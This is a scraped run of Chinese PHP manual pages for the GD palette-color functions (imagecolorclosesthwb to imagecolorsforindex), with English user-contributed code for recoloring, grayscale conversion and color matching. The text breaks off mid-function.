参见

  • imagecolorexactalpha() - 取得指定的颜色加透明度的索引值
  • imagecolorclosest() - 取得与指定的颜色最接近的颜色索引值
  • imagecolorclosesthwb() - 取得与给定颜色最接近的色度的黑白色的索引

User Contributed Notes

There are no user contributed notes for this page.


取得与给定颜色最接近的色度的黑白色的索引

  • ? imagecolorclosestalpha
  • imagecolordeallocate ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得与给定颜色最接近的色度的黑白色的索引

imagecolorclosesthwb

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagecolorclosesthwb — 取得与给定颜色最接近的色度的黑白色的索引

说明

imagecolorclosesthwb(
GdImage $image,
int $red,
int $green,
int $blue
): int

取得与给定颜色最接近的色度的黑白色的索引。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

red

红色成分的值。

green

绿色成分的值。

blue

蓝色成分的值。

返回值

返回一个整数，是给定颜色最接近的色度的黑白色的索引。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 使用 imagecolorclosesthwb() 示例

<?php
$im = imagecreatefromgif('php.gif');

echo 'HWB: ' . imagecolorclosesthwb($im, 116, 115, 152);

imagedestroy($im);
?>

以上示例的输出类似于：

HWB: 33

参见

  • imagecolorclosest() - 取得与指定的颜色最接近的颜色索引值

User Contributed Notes

Xong 22-Jun-2009 03:56
I have written a function which uses the deltaE-function of the CMC.
It returns much better results than imagecolorclosestHWB() or imageColorClosest().

A test-script is online on http://www.fuhrpark-software.de/spielwiese/color.php?color=ffff00

<?php
/*
 * Returns the index of the palette-color which is most similar
 * to $givenColor.
 *
 * $givenColor and the colors in $palette should be either
 * formatted as (#)rrggbb
 * (e. g. "ff0000", "4da4f3" or "#b5d7f3")
 * or arrays with values for red, green and blue
 * (e. g. $givenColor = array( 0xff, 0x00, 0x00 ) )
 *
 * References:
 * function rgb2lab
 *   - http://www.f4.fhtw-berlin.de/~barthel/ImageJ/ImageJ.htm
 *
 * function rgb2lab & function deltaE
 *   - http://www.brucelindbloom.com
 */
function getNearestColor(
  $givenColor,
  $palette = array( 'blue' => '43aafd','red' => 'fe6256','green' => '64b949','yellow' => 'fcf357',
    'black' => '656565','white' => 'fdfdfd','orange' => 'fea800','purple' => '9773fe')
) {
  if(!function_exists('rgb2lab')) {
    function rgb2lab($rgb) {
      $eps = 216/24389; $k = 24389/27;
      // reference white D50
      $xr = 0.964221; $yr = 1.0; $zr = 0.825211;

      $rgb[0] = $rgb[0]/255; //R 0..1
      $rgb[1] = $rgb[1]/255; //G 0..1
      $rgb[2] = $rgb[2]/255; //B 0..1

      // assuming sRGB (D65)
      $rgb[0] = ($rgb[0] <= 0.04045)?($rgb[0]/12.92):pow(($rgb[0]+0.055)/1.055,2.4);
      $rgb[1] = ($rgb[1] <= 0.04045)?($rgb[1]/12.92):pow(($rgb[1]+0.055)/1.055,2.4);
      $rgb[2] = ($rgb[2] <= 0.04045)?($rgb[2]/12.92):pow(($rgb[2]+0.055)/1.055,2.4);

      // sRGB D50
      $x =  0.4360747*$rgb[0] + 0.3850649*$rgb[1] + 0.1430804 *$rgb[2];
      $y =  0.2225045*$rgb[0] + 0.7168786*$rgb[1] + 0.0606169 *$rgb[2];
      $z =  0.0139322*$rgb[0] + 0.0971045*$rgb[1] + 0.7141733 *$rgb[2];

      $xr = $x/$xr; $yr = $y/$yr; $zr = $z/$zr;

      $fx = ($xr > $eps)?pow($xr, 1/3):($fx = ($k * $xr + 16) / 116);
      $fy = ($yr > $eps)?pow($yr, 1/3):($fy = ($k * $yr + 16) / 116);
      $fz = ($zr > $eps)?pow($zr, 1/3):($fz = ($k * $zr + 16) / 116);

      $lab = array();
      $lab[] = round(( 116 * $fy ) - 16);
      $lab[] = round(500*($fx-$fy));
      $lab[] = round(200*($fy-$fz));
      return $lab;
    }
  }

  if(!function_exists('deltaE')) {
    function deltaE($lab1, $lab2) {
      // CMC 1:1
      $l = 1; $c = 1;

      $c1 = sqrt($lab1[1]*$lab1[1]+$lab1[2]*$lab1[2]);
      $c2 = sqrt($lab2[1]*$lab2[1]+$lab2[2]*$lab2[2]);

      $h1 = (((180000000/M_PI) * atan2($lab1[1],$lab1[2]) + 360000000) % 360000000)/1000000;

      $t = (164 <= $h1 AND $h1 <= 345)?(0.56 + abs(0.2 * cos($h1+168))):(0.36 + abs(0.4 * cos($h1+35)));
      $f = sqrt(pow($c1,4)/(pow($c1,4) + 1900));

      $sl = ($lab1[0] < 16)?(0.511):((0.040975*$lab1[0])/(1 + 0.01765*$lab1[0]));
      $sc = (0.0638 * $c1)/(1 + 0.0131 * $c1) + 0.638;
      $sh = $sc * ($f * $t + 1 -$f);

      return sqrt(
        pow(($lab1[0]-$lab2[0])/($l * $sl),2) +
        pow(($c1-$c2)/($c * $sc),2) +
        pow(sqrt(
              ($lab1[1]-$lab2[1])*($lab1[1]-$lab2[1]) +
              ($lab1[2]-$lab2[2])*($lab1[2]-$lab2[2]) +
              ($c1-$c2)*($c1-$c2)
            )/$sh,2)
      );
    }
  }

  if(!function_exists('str2rgb')) {
    function str2rgb($str)
    {
      $str = preg_replace('~[^0-9a-f]~','',$str);
      $rgb = str_split($str,2);
      for($i=0;$i<3;$i++)
        $rgb[$i] = intval($rgb[$i],16);

      return $rgb;
    }
  }

  $givenColorRGB = is_array($givenColor?$givenColor:str2rgb($givenColor);

  $min = 0xffff;
  $return = NULL;

  foreach($palette as $key => $color) {
    $color = is_array($color)?$color:str2rgb($color);
    if($min >= ($deltaE = deltaE(rgb2lab($color),rgb2lab($givenColorRGB))))
    {
      $min = $deltaE;
      $return = $key;
    }
  }

  return $return;
}
?>


取消图像颜色的分配

  • ? imagecolorclosesthwb
  • imagecolorexact ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取消图像颜色的分配

imagecolordeallocate

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolordeallocate — 取消图像颜色的分配

说明

imagecolordeallocate(GdImage $image, int $color): bool

取消分配先前由 imagecolorallocate() 或 imagecolorallocatealpha() 分配的颜色。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

color

颜色标识符。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 使用 imagecolordeallocate()

<?php
$white = imagecolorallocate($im, 255, 255, 255);
imagecolordeallocate($im, $white);
?>

参见

  • imagecolorallocate() - 为图像分配颜色
  • imagecolorallocatealpha() - 为图像分配颜色

User Contributed Notes

There are no user contributed notes for this page.


取得指定颜色的索引值

  • ? imagecolordeallocate
  • imagecolorexactalpha ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得指定颜色的索引值

imagecolorexact

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorexact — 取得指定颜色的索引值

说明

imagecolorexact(
GdImage $image,
int $red,
int $green,
int $blue
): int

返回图像调色板中指定颜色的索引值。

如果图象由文件创建，只有该图象使用到的颜色会被解析。仅存在于调色板中的颜色不会被解析。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

red

红色成分的值。

green

绿色成分的值。

blue

蓝色成分的值。

返回值

返回调色板中指定颜色的索引值，如果该颜色不存在则返回 -1。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 从 GD logo 中获取颜色

<?php
// Setup an image
$im = imagecreatefrompng('./gdlogo.png');

$colors = Array();
$colors[] = imagecolorexact($im, 255, 0, 0);
$colors[] = imagecolorexact($im, 0, 0, 0);
$colors[] = imagecolorexact($im, 255, 255, 255);
$colors[] = imagecolorexact($im, 100, 255, 52);

print_r($colors);

// Free from memory
imagedestroy($im);
?>

以上示例的输出类似于：

Array
(
    [0] => 16711680
    [1] => 0
    [2] => 16777215
    [3] => 6618932
)

参见

  • imagecolorclosest() - 取得与指定的颜色最接近的颜色索引值

User Contributed Notes

samtobia at geemail dot com 24-Mar-2011 10:11
A script that changes colors depending on get variable
important to note: I had little success with pngs and getting true red
gifs work much better

<?php
//0 is yellow, 1 is red, 2 is blue
$y = 1 - ceil($_GET["c"]/2);
$r = 1 - floor($_GET["c"]/2);
$b = floor($_GET["c"]/2);

$gd = imagecreatefromgif("example.gif");
imagecolorset($gd, imagecolorexact($gd, 255, 0, 0), $r*255, $y*255, $b*255);
imagecolorset($gd, imagecolorexact($gd, 191, 0, 0), $r*191, $y*191, $b*191);
imagecolorset($gd, imagecolorexact($gd, 128, 0, 0), $r*128, $y*128, $b*128);
imagecolorset($gd, imagecolorexact($gd, 255, 0, 0), $r*64, $y*64, $b*64);

header('Content-Type: image/gif');
imagegif($gd);

?>
jbr at ya-right dot com 18-Feb-2006 12:38
A few notes about this function...

This function will only work on images where the palette is 256 colors or less. You also can not use imagetruecolortopalette() to reduce the palette on a true color PNG image that has greater than 256 colors in it's palette, then call this function. If you try to do this imagecolorexact() will report colors not being in the image when they are in the image!

1. works on png(s) 8bit/256 colors or less.
2. works on all gif(s)
3. does not work on any type of jpg/jpeg image.
info at educar dot pro dot br 16-Nov-2005 11:14
<?php

$src = "../images/pic.gif";

$red = 9;
$green = 9;
$blue = 4;

$pic0026 = imagecreatefromgif ( $src );

$ind = imagecolorexact ( $pic, $red, $green, $blue );

echo '<img src="../images/pic.gif" border="0" alt="pic" title="View pic" /><br /><br />';

echo "RED ( " . $red . " ) GREEN ( " . $green . " ) BLUE ( " . $blue . " )<br />-> Palette Index = " . $ind;

if ( $ind != -1 )
{
echo "<br />[ The color exists! ]";
}
else
{
echo "<br />[ The color does not exist! ]";
}

imagedestroy ( $pic );

?>


取得指定的颜色加透明度的索引值

  • ? imagecolorexact
  • imagecolormatch ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得指定的颜色加透明度的索引值

imagecolorexactalpha

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecolorexactalpha — 取得指定的颜色加透明度的索引值

说明

imagecolorexactalpha(
GdImage $image,
int $red,
int $green,
int $blue,
int $alpha
): int

返回图像调色板中指定颜色加透明度的索引值。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

red

红色成分的值。

green

绿色成分的值。

blue

蓝色成分的值。

alpha

介于 0 和 127 之间的值。0 表示完全不透明，而 127 表示完全透明。

colors 参数是 0 到 255 之间的整数或 0x00 到 0xFF 之间的十六进制数。

返回值

返回图像调色板中指定颜色加透明度的索引值。 如果颜色不在图像的调色板中，返回 -1。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 从 GD logo 中获取颜色

<?php

// Setup an image
$im = imagecreatefrompng('./gdlogo.png');

$colors = Array();
$colors[] = imagecolorexactalpha($im, 255, 0, 0, 0);
$colors[] = imagecolorexactalpha($im, 0, 0, 0, 127);
$colors[] = imagecolorexactalpha($im, 255, 255, 255, 55);
$colors[] = imagecolorexactalpha($im, 100, 255, 52, 20);

print_r($colors);

// Free from memory
imagedestroy($im);
?>

以上示例的输出类似于：

Array
(
    [0] => 16711680
    [1] => 2130706432
    [2] => 939524095
    [3] => 342163252
)

参见

  • imagecolorclosestalpha() - 获取最接近指定颜色 + alpha 的颜色索引

User Contributed Notes

matt at matt-darby dot com 11-Jul-2005 06:09
Note that a color allocated with imagecolorexactalpha won't show alpha (it will be opaque) when used with imageline(). Use imagerectangle() set to your normal start and end points instead.

Ensure that the image is created via imagecreatetruecolor() as well!
phpdoc-comment at aditus dot nu 08-Nov-2002 10:01
What might be misleading in the docs is that if the specified color + alpha channel does not exist it will be created. So if you like to use an alpha channel in your image enable alpha blending and then create you color using this method.


使一个图像中调色板版本的颜色与真彩色版本更能匹配

  • ? imagecolorexactalpha
  • imagecolorresolve ?
  • PHP Manual
  • GD 和图像处理 函数
  • 使一个图像中调色板版本的颜色与真彩色版本更能匹配

imagecolormatch

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

imagecolormatch — 使一个图像中调色板版本的颜色与真彩色版本更能匹配

说明

imagecolormatch(GdImage $image1, GdImage $image2): bool

使一个图像中调色板版本的颜色与真彩色版本更能匹配。

参数

image1

真彩色图像对象。

image2

调色板图像对象，指向与 image1 相同大小的图像。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image1 和 image2 现在需要 GdImage 实例，之前需要 resource。

示例

Example #1 imagecolormatch() 示例

<?php
// Setup the true color and palette images
$im1 = imagecreatefrompng('./gdlogo.png');
$im2 = imagecreate(imagesx($im1), imagesy($im1));

// Add some colors to $im2
$colors = Array();
$colors[] = imagecolorallocate($im2, 255, 36, 74);
$colors[] = imagecolorallocate($im2, 40, 0, 240);
$colors[] = imagecolorallocate($im2, 82, 100, 255);
$colors[] = imagecolorallocate($im2, 84, 63, 44);

// Match these colors with the true color image
imagecolormatch($im1, $im2);

// Free from memory
imagedestroy($im1);
imagedestroy($im2);
?>

参见

  • imagecreatetruecolor() - 新建真彩色图像

User Contributed Notes

gk at karko dot net 28-Jun-2010 09:42
Those that have Ubuntu servers note, that this function is added in PHP's GD library fork and is not available by default in Ubuntu php5-gd package.

Here's how-to install the PHP GD version: http://preview.tinyurl.com/yel4r7t
albriNOght at anSPAMre dot net 12-Dec-2005 09:22
This function appears to work by changing the values of the colors of the paletted image -- no good if you're trying to force the resultant image to stick with certain pre-defined color values.
Samantha 08-Feb-2004 07:14
This function is a godsend! It works exactly as documented.

I'm working on an application where I need to take a transparent GIF, matte the GIF on a user defined background color, and finally scale the GIF based on a user defined %.

The only way I could get this to work so that the final image was high quality, ie: no jagged edges, and a smooth scale, was to convert the GIF to a JPG, and then copy the JPG into a new GIF image like this:

// open transparent gif
$GIFimg = imagecreatefromgif($file_path);

// create jpg image
$JPGimg = imagecreatetruecolor($width, $height);

// copy GIF to JPG
imagecopy($JPGimg, $GIFimg, 0, 0, 0, 0, $width, $height);

// create a true color image
$JPGscaled = imagecreatetruecolor($n_width, $n_height);

// scale the new JPG using the truecolor image
imagecopyresampled($JPGscaled, $JPGimg, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

// create final GIF image
$GIFfinal = imagecreate($n_width, $n_height);

// copy the scaled JPG back to a GIF
imagecopymerge($GIFfinal, $JPGscaled, 0, 0, 0, 0, $n_width, $n_height, 100);

This worked great except the final step, copying the JPG to a GIF. If the JPG had too many colors, the function would index the colors to make it a palette image. So what would end up happening is the final image contained INCORRECT colors.

Adding this one line at the bottom of the code fixed everything.

imagecolormatch($JPGscaled, $GIFfinal);

I hope this helps anyone who is converting images back and forth and dealing with palette issues and color correction. Also, be aware that the above code is a sample and will not work by copying and pasting.


取得指定颜色的索引值或有可能得到的最接近的替代值

  • ? imagecolormatch
  • imagecolorresolvealpha ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得指定颜色的索引值或有可能得到的最接近的替代值

imagecolorresolve

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorresolve — 取得指定颜色的索引值或有可能得到的最接近的替代值

说明

imagecolorresolve(
GdImage $image,
int $red,
int $green,
int $blue
): int

本函数可以保证对所请求的颜色返回颜色索引，要么是准确的颜色要么是最接近的颜色。

如果图象由文件创建，只有该图象使用到的颜色会被解析。仅存在于调色板中的颜色不会被解析。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

red

红色成分的值。

green

绿色成分的值。

blue

蓝色成分的值。

返回值

返回颜色索引值。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 使用 imagecoloresolve() 从图像中获取颜色

<?php
// Load an image
$im = imagecreatefromgif('phplogo.gif');

// Get closest colors from the image
$colors = array();
$colors[] = imagecolorresolve($im, 255, 255, 255);
$colors[] = imagecolorresolve($im, 0, 0, 200);

// Output
print_r($colors);

imagedestroy($im);
?>

以上示例的输出类似于：

Array
(
    [0] => 89
    [1] => 85
)

参见

  • imagecolorclosest() - 取得与指定的颜色最接近的颜色索引值

User Contributed Notes

ceo at l-i-e dot com 03-Jan-2002 03:55
Okay, so sometimes it's really IMPORTANT to get the exact color you want, only it's not *IN* the Image, and ImageColorResolve just isn't "close enough".

The following code is a disgustingly gross hack, rather slow, but it does that.

$colorcount = array();
for ($x = 0; $x < $width; $x++){
    for ($y = 0; $y < $height; $y++){
        $colorindex = imagecolorat($jpg, $x, $y);
        if (!isset($colorcount[$colorindex])){
            $colorcount[$colorindex] = 1;
        }
        else{
            $colorcount[$colorindex]++;
        }
    }
}
asort($colorcount);
reset($colorcount);

$black = imagecolorexact($jpg, 0, 0, 0);
if ($black == -1){
    $goner = key($colorcount);
    $rgb = imagecolorsforindex($jpg, $goner);
    #error_log("Need black: About to kill $goner ($rgb[red], $rgb[green], $rgb[blue]) which was only used in $colorcount[$goner] pixels", 0);
    unset($colorcount[$goner]);
    imagecolordeallocate($jpg, $goner);
    $black = imagecolorallocate($jpg, 0, 0, 0);
}
if ($black == -1){
    $black = imagecolorresolve($jpg, 0, 0, 0);
    #error_log("Damn!  STILL couldn't allocate the color!", 0);
}


取得指定颜色 + alpha 或其最接近的替代值

  • ? imagecolorresolve
  • imagecolorset ?
  • PHP Manual
  • GD 和图像处理 函数
  • 取得指定颜色 + alpha 或其最接近的替代值

imagecolorresolvealpha

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagecolorresolvealpha — 取得指定颜色 + alpha 或其最接近的替代值

说明

imagecolorresolvealpha(
GdImage $image,
int $red,
int $green,
int $blue,
int $alpha
): int

本函数保证返回所请求的颜色的颜色索引，要么是确切的颜色要么是最接近的颜色。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

red

红色成分的值。

green

绿色成分的值。

blue

蓝色成分的值。

alpha

介于 0 和 127 之间的值。0 表示完全不透明，而 127 表示完全透明。

colors 参数是 0 到 255 之间的整数或 0x00 到 0xFF 之间的十六进制数。

返回值

返回颜色索引。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 使用 imagecoloresolvealpha() 从图像中获取颜色

<?php
// Load an image
$im = imagecreatefromgif('phplogo.gif');

// Get closest colors from the image
$colors = array();
$colors[] = imagecolorresolvealpha($im, 255, 255, 255, 0);
$colors[] = imagecolorresolvealpha($im, 0, 0, 200, 127);

// Output
print_r($colors);

imagedestroy($im);
?>

以上示例的输出类似于：

Array
(
    [0] => 89
    [1] => 85
)

参见

  • imagecolorclosestalpha() - 获取最接近指定颜色 + alpha 的颜色索引

User Contributed Notes

There are no user contributed notes for this page.


给指定调色板索引设定颜色

  • ? imagecolorresolvealpha
  • imagecolorsforindex ?
  • PHP Manual
  • GD 和图像处理 函数
  • 给指定调色板索引设定颜色

imagecolorset

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorset — 给指定调色板索引设定颜色

说明

imagecolorset(
GdImage $image,
int $color,
int $red,
int $green,
int $blue,
int $alpha = 0
): ?false

本函数将调色板中指定的索引设定为指定的颜色。对于在调色板图像中创建类似区域填充（flood-fill）的效果很有用，免去了真的去填充的开销。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

color

调色板中的索引值。

red

红色成分的值。

green

绿色成分的值。

blue

蓝色成分的值。

alpha

alpha 的值。

返回值

函数成功时返回 null， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagecolorset() 示例

<?php
// Create a 300x100 image
$im = imagecreate(300, 100);

// Set the background to be red
imagecolorallocate($im, 255, 0, 0);

// Get the color index for the background
$bg = imagecolorat($im, 0, 0);

// Set the backgrund to be blue
imagecolorset($im, $bg, 0, 0, 255);

// Output the image to the browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

参见

  • imagecolorat() - 取得某像素的颜色索引值

User Contributed Notes

Daniel Klein 01-Jul-2015 01:25
If you are creating a palette image from scratch you have to use imagecolorallocate() for each index before you can use imagecolorset() on it.
Bartman 25-Aug-2009 02:12
I had the same problem as heavyraptor2 so i made this function...
<?php
function imagecolorize($im,$endcolor){
    //funcion takes image and turns black into $endcolor, white to white and
    //everything in between in corresponding gradient
    //$endcolor should be 6 char html color

    //make sure it has usable palette
    if (imageistruecolor($im)) {
        imagetruecolortopalette($im, false, 256);
    }

    //first make it gray to be sure of even results (thanks moxleystratton.com)
    //comment this loop if you want the output based on, for example,
    //the red channel (for this take a look at the $gray-var in the last loop)
    for ($c = 0; $c < imagecolorstotal($im); $c++) {
        $col = imagecolorsforindex($im, $c);
        $gray = round(0.299 * $col['red'] + 0.587 * $col['green'] + 0.114 * $col['blue']);
        imagecolorset($im, $c, $gray, $gray, $gray);
    }

    //determine end-colors in hexdec
    $EndcolorRGB['r'] = hexdec( substr($endcolor, 0, 2));
    $EndcolorRGB['g'] = hexdec( substr($endcolor, 2, 2));
    $EndcolorRGB['b'] = hexdec( substr($endcolor, 4, 2));

    //determine gradient-delta's
    $stepR = (255-$EndcolorRGB['r'])/255.0;
    $stepG = (255-$EndcolorRGB['g'])/255.0;
    $stepB = (255-$EndcolorRGB['b'])/255.0;

    //aColor contains the 256 gradations between endcolor(i=0) and white(i=255)
    $aColor = array();
    for ($i = 0; $i<=255; $i++){
        $aColor[$i]['r'] = $EndcolorRGB['r'] + ($i*$stepR);
        $aColor[$i]['g'] = $EndcolorRGB['g'] + ($i*$stepG);
        $aColor[$i]['b'] = $EndcolorRGB['b'] + ($i*$stepB);
    }

    //for every color-index we now replace $gray-values for $aColor
    for ($c = 0; $c < imagecolorstotal($im); $c++){
        $currentColorRGB = imagecolorsforindex($im, $c);
        $gray = $currentColorRGB['red'];//image is grayscale, so red,green and blue
        // should be equal. We use this number as key of aColor
        imagecolorset($im,$c,(int)$aColor[$gray]['r'], (int)$aColor[$gray]['g'], (int)$aColor[$gray]['b']);
    }
}?>
Thomas Mueller 23-Apr-2008 10:42
Here is a function to colorize a picture gradient style.

All you have to do is to pass an img-object and an array of colors.

e.g.

$arr = array('#000000', '#990000', '#00FFFF', '#FFFFDD');
colorize ($img, $arr);

<?php
function colorize($imgdata, $palette)
{
    imageTrueColorToPalette($imgdata,false,0xFF);
    $l = count($palette)-1;
    $i = imagecolorstotal($imgdata);
    while ($i--)
    {
        list($r,$g,$b) = array_values(imageColorsForIndex($imgdata,$i));

        $grayscale = ($r*.3 + $g*.59 +$b*.11) / 0xFF;

        $pos = $l*$grayscale;

        $perc = $pos-floor($pos);

        $tbase = str_replace("#", '', $palette[$pos]);
        $baseR = hexdec(substr($tbase,0,2));
        $baseG = hexdec(substr($tbase,2,2));
        $baseB = hexdec(substr($tbase,4,2));

        $tmix = str_replace("#", '', $palette[$pos+1]);
        $mixR = hexdec(substr($tmix,0,2));
        $mixG = hexdec(substr($tmix,2,2));
        $mixB = hexdec(substr($tmix,4,2));

        $resR = $baseR+($mixR-$baseR)*$perc;
        $resG = $baseG+($mixG-$baseG)*$perc;
        $resB = $baseB+($mixB-$baseB)*$perc;

        imagecolorset($imgdata, $i, $resR, $resG, $resB);
    }
}
?>
heavyraptor2 at hotmail dot com 20-Feb-2008 01:08
I've been looking for a simple function which "colorizes" an image, without any success ... it looks like a lot of people mean something different with "colorizing" an image, because actually colorzing means multiplying the old color's grayscale with the new color. So a white pixel would become 100% of the colorize-to-color and a black pixel would stay black (I know I can't explain well ... I hope you understood, otherwise take a look at the example below the functions' code).

<?php
function image_colorize(&$img,$rgb) {
  imageTrueColorToPalette($img,true,256);
  $numColors = imageColorsTotal($img);

  for ($x = 0; $x < $numColors; $x++) {
    list($r,$g,$b) = array_values(imageColorsForIndex($img,$x));

    // calculate grayscale in percent
    $grayscale = ($r + $g + $b) / 3 / 0xff;

    imageColorSet($img,$x,
      $grayscale * $rgb[0],
      $grayscale * $rgb[1],
      $grayscale * $rgb[2]
    );
  }

  return true;
}
?>

Example of usage:
<?php
$color = array(0xff,0xaa,0x2a); // color to convert to
$url = 'http://sundog.net/images/uploads/1_google_logo.jpg';
$img = imageCreateFromJpeg($url);

image_colorize($img,$color);

header('Content-type: image/gif');
imageGif($img);
exit;
?>

Enjoy
admin at phpgfx dot com 25-Aug-2007 11:37
Here is a function to turn an image into pure black and white

<?php

function imagepurebw( $img, $amount = 383 ) {
    $total = imagecolorstotal( $img );
    for ( $i = 0; $i < $total; $i++ ) {
        $index = imagecolorsforindex( $img, $i );
        array_pop( $index );
        $color = ( array_sum( $index ) > $amount ) ? 255 : 0;
        imagecolorset( $img, $i, $color, $color, $color );
    }
}

?>
moxleystratton.com 04-Oct-2006 03:59
If you want to convert a Color image to Grayscale without creating a blotchy image, use this color calculation:
<?php
function imagetograyscale($im)
{
    if (imageistruecolor($im)) {
        imagetruecolortopalette($im, false, 256);
    }

    for ($c = 0; $c < imagecolorstotal($im); $c++) {
        $col = imagecolorsforindex($im, $c);
        $gray = round(0.299 * $col['red'] + 0.587 * $col['green'] + 0.114 * $col['blue']);
        imagecolorset($im, $c, $gray, $gray, $gray);
    }
}
?>
dade dot c at email dot it 02-Oct-2004 01:47
this is helpful if you would like to implement a color theme system in your website... try it out
Davide Candiloro Italy

function colorize ($pngpath, $r, $g, $b)
/*
REQUIRES: $pngpath to be a valid path of a greyscale PNG-8 image with 64 colors palette
          $r, $g, $b to be integers in the range 0..255
EFFECTS: returns the png image colorized with the color represented by $r, $g, $b.
*/
{
    header("Content-type: image/png");
    $im = imagecreatefrompng("images/table.png");

    imagetruecolortopalette($im, FALSE, 256);

      for ($c = 0; $c < 64; $c++){ /*64 is the number of colors in the PNG-8 palette*/
        $col = imagecolorsforindex($im, $c);
        imagecolorset ( $im, $c, $r*$col['red']/256, $g*$col['green']/256, $b*$col['blue']/256); /*replaces original greyscale palette with a colorized one*/
     }

    imagepng($im);
    imagedestroy($im);
}
m4551 at abasoft dot it 23-Apr-2004 09:19
here's a function to greyscale an image even from a truecolor source (jpeg or png).

slightly poor quality, but very fast...

function imagegreyscale(&$img, $dither=1) {
    if (!($t = imagecolorstotal($img))) {
        $t = 256;
        imagetruecolortopalette($img, $dither, $t);
    }
    for ($c = 0; $c < $t; $c++) {
        $col = imagecolorsforindex($img, $c);
        $min = min($col['red'],$col['green'],$col['blue']);
        $max = max($col['red'],$col['green'],$col['blue']);
        $i = ($max+$min)/2;
        imagecolorset($img, $c, $i, $i, $i);
    }
}
info at devking dot com 08-Aug-2002 02:20
here's a simple function to greyscale an image...

function imagecolorgrey( &$img ) {
 for( $i=0; $i<imagecolorstotal( $img ); $i++ ) {
  $c = ImageColorsForIndex( $img, $i );
  $t = ($c["red"]+$c["green"]+$c["blue"])/3;
  imagecolorset( $img, $i, $t, $t, $t );
 }
}
olivier at moostik dot net 11-Jul-2001 05:49
This function change colors of an image with ranges 0>100 for each primary color:

int ImageSelectiveColor (int im, int red, int green, int blue)

im is image pointer
red, green and blue are ranges 0->100

function ImageSelectiveColor($im,$red,$green,$blue)
 {
  for($i=0;$i<imagecolorstotal($im);$i++)
   {
    $col=ImageColorsForIndex($im,$i);
    $red_set=$red/100*$col['red'];
    $green_set=$green/100*$col['green'];
    $blue_set=$blue/100*$col['blue'];
    if($red_set>255)$red_set=255;
    if($green_set>255)$green_set=255;
    if($blue_set>255)$blue_set=255;
    imagecolorset($im,$i,$red_set,$green_set,$blue_set);

   }
  return $im;

 }


获取索引的颜色

  • ? imagecolorset
  • imagecolorstotal ?
  • PHP Manual
  • GD 和图像处理 函数
  • 获取索引的颜色

imagecolorsforindex

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorsforindex — 获取索引的颜色

说明

imagecolorsforindex(GdImage $image, int $color): array

获取指定索引的颜色。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

color

颜色索引。

返回值

返回具有 red、green、blue 和 alpha 的键名的关联数组，包含了指定颜色索引的适当值。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。
8.0.0 | 如果 color 超出范围，imagecolorsforindex() 现在抛出 ValueError 异常；之前返回 false。

示例

Example #1 imagecolorsforindex() 示例

<?php

// 打开图像
$im = imagecreatefrompng('nexen.png');

// 获取颜色
$start_x = 40;
$start_y = 50;
$color_index = imagecolorat($im, $start_x, $start_y);

// 使其可读
$color_tran = imagecolorsforindex($im, $color_index);

// 显示该颜色的值
print_r($color_tran);

?>

以上示例的输出类似于：

Array
(
   [red] => 226
   [green] => 222
   [blue] => 252
   [alpha] => 0
)

参见

  • imagecolorat() - 取得某像素的颜色索引值
  • imagecolorexact() - 取得指定颜色的索引值

User Contributed Notes

hofstadler dot andi at gmx dot at 07-Oct-2008 12:36
I have optimized the rgb2hsl function from slepichev a bit, so that it is a bit shorter and hopefully a bit faster:

<?php
/**
 * Convert RGB colors array into HSL array
 *
 * @param array $ RGB colors set, each color component with range 0 to 255
 * @return array HSL set, each color component with range 0 to 1
 */
function rgb2hsl($rgb){
    $clrR = ($rgb[0]);
    $clrG = ($rgb[1]);
    $clrB = ($rgb[2]);

    $clrMin = min($clrR, $clrG, $clrB);
    $clrMax = max($clrR, $clrG, $clrB);
    $deltaMax = $clrMax - $clrMin;

    $L = ($clrMax + $clrMin) / 510;

    if (0 == $deltaMax){
        $H = 0;
        $S = 0;
    }
    else{
        if (0.5 > $L){
            $S = $deltaMax / ($clrMax + $clrMin);
        }
        else{
            $S = $deltaMax / (510 - $clrMax - $clrMin);
        }

        if ($clrMax == $clrR) {
            $H = ($clrG - $clrB) / (6.0 * $deltaMax);
        }
        else if ($clrMax == $clrG) {
            $H = 1/3 + ($clrB - $clrR) / (6.0 * $deltaMax);
        }
        else {
